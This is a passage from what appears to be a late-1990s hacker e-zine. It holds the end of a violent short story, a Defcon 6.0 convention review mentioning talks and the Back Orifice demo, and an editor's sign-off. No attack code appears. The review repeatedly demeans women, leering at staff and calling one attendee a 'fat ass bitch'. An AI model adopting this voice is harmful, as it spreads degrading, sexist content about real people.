inside my cabin.  A cold blade ripped through my neck. The artery in
my neck exploded and gushed out the warm dark blood.  no time to
think about what just happened... i held my neck in pain.  as i fell
to the floor, this though went through my mind: 'was i truly the
hunter?'


- -[9] Defcon 6.0 Review - tEEp]- -
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Over the course of five years, Defcon has become the largest, most
popular convention to go to. One chance to go and you'll see why;
not neccesarily the chance to see speakers or the chance to check out
product exhibitions; but the fact that it's a chance to meet up
with people, in of all places, Las Vegas.

105 degree weather, palm trees, and scantily clad women on taxi cab
ads were plainly in sight. Nudie "booklets" were available for free
in newspaper machines.

The Glitter Gulch stood prominently in the Freemont Experience.
It's a place that defines Las Vegas.

Women, alcohol, and gambling. Oh yeah, and Defcon.

Friday was registration ($40) and opening remarks by Dark Tangent.
Drinking and gambling in-between. A rather dull discussion on
lock picking by Gurney Halleck followed. DJs setup their equipment,
while the Capture the Flag network equipment fell into place.
What was an empty area suddenly became alive and busy.

No leet hackers were to been seen anywhere (guess they all came on
Saturday). All no-names and cluebies made the rounds everywhere. In
addition, everyone has resented the way hackers are dressed in the
movie, "Hackers." One look around, and you'll see it all over again.

Various desks popped up in the secondary room with people selling
Defcon/OpenBSD/cDc/etc clothing, CDs (FreeBSD/NetBSD/OpenBSD), used
hardware, books (amongst of which Carolyn "Clueless" Meinel's book
was seen), and even employment services.

The three girls selling the "Brute" DefCon T-shirt were very
babelicious. Go ahead and buy a T-shirt.

Hacker Jeopordy started; as people tested their knowledge, others
gambled and drank the night away... Hookers slept with a few haxx0rs
that night.

As Saturday came, the morning speeches were rather dull. The Hotel
Hacking discussion was rather interesting, however. Of course,
Ira had to go on his preachy rant about what takes "real technical
skills." Of course his speech was rather undetailed and not
very technical at all. Go figure.

The waitresses are hot at the Luxor Hotel. I highly recommend going there
to gamble. Talk about a high skirt with legs. Damn.

The Cult of the Dead Cow's intro/demo for Back Orifice was overpacked
and stuffy. Seems like every script kiddie needed a new tool to play
with. Wow, Windows can be cool again. Whutever. An interesting program;
however terribly overrated.

Of course as the afternoon waxed to night, people changed clothes to attend
the Black and White Ball. A guy wearing a towel, a guy in a bathrobe,
two guys in drag; what about the women? Since the male:female ratio was
practically 10:1, there's not much to talk about; other than the fact
there was a fat ass bitch who thought she was the shit, and the T-shirt
selling babes. Oh man, what a sight.

Sunday's theme was "missing in action." Many people left in the morning,
as well as Se7en not showing up for his speech. As people said their
goodbyes, everyone knew... next year, next year...


- -[ fin - edit0r ge0rge ]- -
b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

welp, this is the end. I would have tried to put more in, but you know how
ppl are, not submitting there shit, etc etc.. So, this is adeux. Until
next time.. wait up for b4b0-2. 

always pissed off,

ge0rge the elite gerb1l.
-< <- 

EEEEE oOOOOOo FFFFFF
EEE   OOO OOO FFF
EEEE  OOO OOO FFFF
EEE   OOO OOO FFF
EEEEE OOOOOOO FFF
 ( eof )
